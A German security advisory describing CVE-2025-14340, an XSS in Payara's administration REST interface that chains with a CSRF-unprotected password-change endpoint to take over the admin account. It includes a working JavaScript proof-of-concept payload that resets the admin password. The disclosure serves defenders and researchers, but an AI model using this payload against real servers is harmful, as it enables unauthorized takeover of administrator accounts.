XSS zu Admin-Kontoübernahme (CVE-2025-14340)

Eine Cross-Site-Scripting-Schwachstelle in Payaras Administration Rest Interface ermöglicht die Ausführung von vom Angreifer kontrolliertem JavaScript, was zur Übernahme des Admin-Kontos führt. Grund:

1. Das Panel verwendet HTTP Basic Auth (Anmeldedaten werden vom Browser bei Same-Origin-Anfragen automatisch gesendet).
2. Der Endpunkt „change-admin-password“ erfordert nicht das aktuelle Passwort, um ein Benutzerpasswort zu aktualisieren.
3. Das Formular „change-admin-password“ verfügt über keinen CSRF-Schutz.
4. Ein injiziertes Skript, das die XSS in /management/domain/version verwendet, kann eine POST-Anfrage an /management/domain/change-admin-password senden und ein vom Angreifer gewähltes Passwort für ein beliebiges Zielkonto setzen – was zur Übernahme des Administrator-Kontos führt.

Proof of Concept

URL:

https://panel.example.com:4848/management/domain/version?<PAYLOAD>

PAYLOAD:

<script>
fetch('/management/domain/change-admin-password', {
 method: 'POST',
 headers: {
 'X-Requested-By': 'GlassFish REST HTML interface',
 'Accept': 'text/html',
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>

Legal

NUR ZUR AUTORISIERTEN NUTZUNG. DeepSecurity Perú unterstützt keinen unbefugten Zugriff und übernimmt keine Verantwortung für jeglichen Missbrauch der bereitgestellten Informationen.